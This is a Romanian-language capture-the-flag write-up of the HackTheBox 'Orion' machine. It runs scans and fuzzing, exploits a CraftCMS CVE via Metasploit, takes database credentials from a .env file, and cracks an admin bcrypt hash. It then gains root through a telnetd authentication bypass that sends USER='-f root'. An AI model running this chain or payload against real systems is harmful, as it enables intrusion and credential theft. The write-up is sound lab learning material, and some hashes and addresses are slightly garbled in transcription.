

Incepem cu un nmap.

```
rgmy@debian1:~/HTB_Machines/Easy/Orion$ nmap -sV 10.129.34.251
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-29 14:57 EEST
Nmap scan report for 10.129.34.251
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds
rgmy@debian1:~/HTB_Machines/Easy/Orion$ |
```

Un site. Can il accesezi linkul devine orion.htb.

Trebuie sa il adaug in /etc/hosts sa il pot accesa.

Pe site, jos, avem un indiciu. **Powered by CraftCMS**. Poate fi util in viitor, nu stiu inca.

Am dat un fuzz pe site sa vad daca are ceva pagini ascunse.

ffuf -u http://orion.htb/FUZZ -w ~/wordlist/SecLists/Discovery/Web-Content/common.txt



v2.1.0-dev

```
-----  
:: Method      : GET  
:: URL         : http://orion.htb/FUZZ  
:: Wordlist     : FUZZ: /home/rgmy/wordlist/SecLists/Discovery/Web-Content/common.txt  
:: Follow redirects : false  
:: Calibration  : false  
:: Timeout     : 10  
:: Threads     : 40  
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500  
-----
```

```
.git/config      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 42ms]  
.gitreview      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 42ms]  
.git_release    [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 44ms]  
.git_rewrite    [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 44ms]  
.git/index      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 44ms]  
.htpasswd       [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 65ms]  
.gitignore     [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 65ms]  
.gitk          [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 66ms]  
.gitconfig     [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 65ms]  
.hta           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 66ms]  
.gitmodules    [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 105ms]  
.htaccess      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 80ms]  
.git/HEAD      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 80ms]  
.git           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 80ms]  
.gitkeep       [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 78ms]  
.gitattributes [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 78ms]  
.git/logs/     [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 118ms]  
admin         [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 257ms]  
assets        [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 44ms]  
index.html    [Status: 200, Size: 9689, Words: 2708, Lines: 183, Duration: 43ms]  
index         [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 745ms]  
index.php     [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 703ms]  
logout        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 492ms]  
:: Progress: [4751/4751] :: Job [1/1] :: 57 req/sec :: Duration: [0:01:10] :: Errors: 0 ::
```

Am gasit cateva, dar am destul de multe forbidden. Acum, sa vad daca dau de ceva subdomenii.

```
ffuf -u http://orion.htb -H "HOST: FUZZ.orion.htb" -w ~/wordlist/SecLists/Discovery/DNS/bitquark-  
subdomains-top100000.txt -fw 4
```

```

  /'---\ /'---\ /'---\
 /  \  /  \  /  \  /  \
/    \ /    \ /    \ /    \
\    / \    / \    / \    /
 \  \  \  \  \  \  \  \
  \--\  \--\  \--\  \--\

v2.1.0-dev
-----

:: Method      : GET
:: URL         : http://orion.htb
:: Wordlist     : FUZZ: /home/rgmy/wordlist/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header      : Host: FUZZ.orion.htb
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500
:: Filter      : Response words: 4
-----

:: Progress: [100000/100000] :: Job [1/1] :: 714 req/sec :: Duration: [0:01:59] :: Errors: 0 ::

```

Nimic.

Am sa merg mai departe cu ce am gasit inainte de asta, poate are ceva interesant in assets.
Cand incerc sa intru pe pagina de admin, sunt redirectionat la /admin/login unde trebuie sa ma conectez. Aici, am aflat versiunea de CraftCMS folosita, 5.6.16.
Sa o caut pe net, poate are un CVE. Are, [CVE-2025-32432](#).
Acum, am sa il caut pe metasploit console sa imi fie mai usor.

```

meterpreter > dir
Listing: /var/www/html/craft/web
=====

Mode                Size      Type    Last modified          Name
----                -
100664/rw-rw-r--  283      fil    2025-11-18 19:08:05 +0200 .htaccess
040755/rwxr-xr-x  4096     dir    2026-03-06 14:12:57 +0200 assets
040775/rwxrwxr-x  4096     dir    2026-06-29 15:07:10 +0300 cpresources
100644/rw-r--r--  9689     fil    2026-03-06 14:12:57 +0200 index.html
100664/rw-rw-r--  258      fil    2025-11-18 19:08:05 +0200 index.php

```

We are in. Sa vedem acum cum ma conectez.

In timp ce treceam prin fisiere, am gasit un fisier project.yaml la acest path
/var/www/html/craft/config/project.

In el am aflat cine va fi probabil userul, [adam@orion.htb](#), probabil exista un user adam.
Am gasit in .env mai multe detalii.

```
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
```

Acum, cred ca am gasit destul, intram in modul bash si ne conectam la serverul SQL cu datele gasite acolo.

```
bash si dupa script /dev/null -c /bin/bash
```

Ne conectam

```
mysql -u root -p orion
```

```
www-data@orion:~/html/craft/web$ mysql -u root -p orion
mysql -u root -p orion
Enter password: SuperSecureCraft123Pass!

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 32110
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [orion]> |
```

Suntem conectati la baza de date.

```
MariaDB [orion]-select * from users;
select * from users;
```

id	photoId	affiliatedSiteId	active	pending	locked	suspended	admin	username	fullName	firstName	lastName	email	password		lastLoginDate	lastLoginAttemptIp	invalidLoginWindowStart
validLoginCount	lastValidLoginDate	lockoutDate	hasDashboard	verificationCode	verificationCodeIssuedDate	unverifiedEmail	passwordResetRequired	lastPasswordChangeDate	dateCreated		dateUpdated						
1	NULL	NULL	1	0	0	0	1	admin	NULL	NULL	NULL	adam@orion.htb	\$2y\$1\$e9zuch7Zz5t6qalcnWZcSPJjxobD8m6xoMwp3P/B4LlUgls		2026-03-12 11:25:04	NULL	2026-06-29 12:25:47
1	2026-06-29 12:25:47	NULL	1	0	1	NULL	NULL	NULL	NULL	NULL	0	2026-03-12 11:24:51	2026-03-06 11:24:45	2026-06-29 12:25:47			

1 row in set (0.001 sec)

Am luat datele din tabela users.

Avem hasul la parola acum. Folosim hashcat sa vedem daca o putem descoperi.

\$2y\$13\$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

```
hashcat -m 3200 password.txt ~/wordlist/SecLists/Passwords/Common-Credentials/100k-most-used-  
passwords-NCSC.txt
```

Si a fost gasita. Parola este darkangel

```

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: cpu-skylake-avx512-AMD Ryzen 7 7800X3D 8-Core Processor, skipped

OpenCL API (OpenCL 3.0 CUDA 13.2.73) - Platform #2 [NVIDIA Corporation]
=====
* Device #2: NVIDIA GeForce RTX 5070 Ti, 14784/15833 MB (3958 MB allocatable), 70MCU

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 98c

Host memory required for this attack: 198 MB

Dictionary cache hit:
* Filename..: /home/rgmy/wordList/SecLists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt
* Passwords.: 99840
* Bytes.....: 835538
* Keyspace...: 99840

$2y$13$e9zuohgFZz6tbQalc9Mz.5PJbxb006MbXo8NHp3P/B42LUg0LS:darkangel

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target.....: $2y$13$e9zuohgFZz6tbQalc9Mz.5PJbxb006MbXo8NHp3P/...LUg0LS
Time.Started.....: Mon Jun 29 15:42:08 2026 (7 secs)
Time.Estimated...: Mon Jun 29 15:42:15 2026 (8 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/home/rgmy/wordList/SecLists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#2.....: 463 H/s (6.42ms) @ Accel:2 Loops:16 Thr:11 Vec:1
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 3080/99840 (3.08%)
Rejected.....: 0/3080 (0.00%)
Restore.Point....: 1540/99840 (1.54%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:8176-8192
Candidate.Engine.: Device Generator
Candidates.#2....: Passw0rd -> cinderella
Hardware.Mon.#2..: Temp: 55c Fan: 0% Util:100% Core:2857MHz Mem:13801MHz Bus:16

Started: Mon Jun 29 15:42:04 2026
Stopped: Mon Jun 29 15:42:15 2026
rgmy@debian1:~/HTB_Machines/Orion$ |

```

Acum, ne-am conectat prin ssh folosind parola calculata pentru userul adam.

Am luat flagul din home directory.

```

adam@orion:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:23           0.0.0.0:*                 LISTEN      -
tcp        0      0 127.0.0.0.53:53        0.0.0.0:*                 LISTEN      -
tcp        0      0 127.0.0.1:3306         0.0.0.0:*                 LISTEN      -
tcp        0      0 0.0.0.0:22             0.0.0.0:*                 LISTEN      -
tcp        0      0 0.0.0.0:80             0.0.0.0:*                 LISTEN      -
tcp6       0      0 :::22                  :::*                     LISTEN      -
udp        0      0 127.0.0.53:53          0.0.0.0:*                 -           -
udp        0      0 0.0.0.0:68             0.0.0.0:*                 -           -

```

Acum, sa devenim root. Vedem ce servicii ruleaza. Vedem portul 23 ca functioneaza. Adica telnet.


```

adam@orion:~$ telnet -v
telnet: invalid option -- 'v'
Try 'telnet --help' or 'telnet --usage' for more information.
adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.
adam@orion:~$

```

telnet 2.7.

Cand il cautam pe net, vedem ca are un cve. O sa folosim codul de pe acest git pentru a il folosi.

<https://github.com/balgan/CVE-2026-24061>

```

adam@orion:~$ python3 cod.py 127.0.0.1 -p 23
CVE-2026-24061 - inetutils-telnetd Authentication Bypass
Affects: inetutils-telnetd 1.9.3 - 2.7

[*] Connected to 127.0.0.1:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON

Linux 5.15.0-177-generic (orion) (pts/2)

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Mon Jun 29 12:47:19 PM UTC 2026

System load:  0.0               Processes:    234
Usage of /:   80.4% of 5.81GB    Users logged in: 1
Memory usage: 10%               IPv4 address for eth0: 10.129.34.251
Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@orion:~# [*] Entering interactive mode (Ctrl+] to escape)
-----
ls
root.txt  snap
root@orion:~# cat root.txt

```

Asa am devenit root si am luat flagul.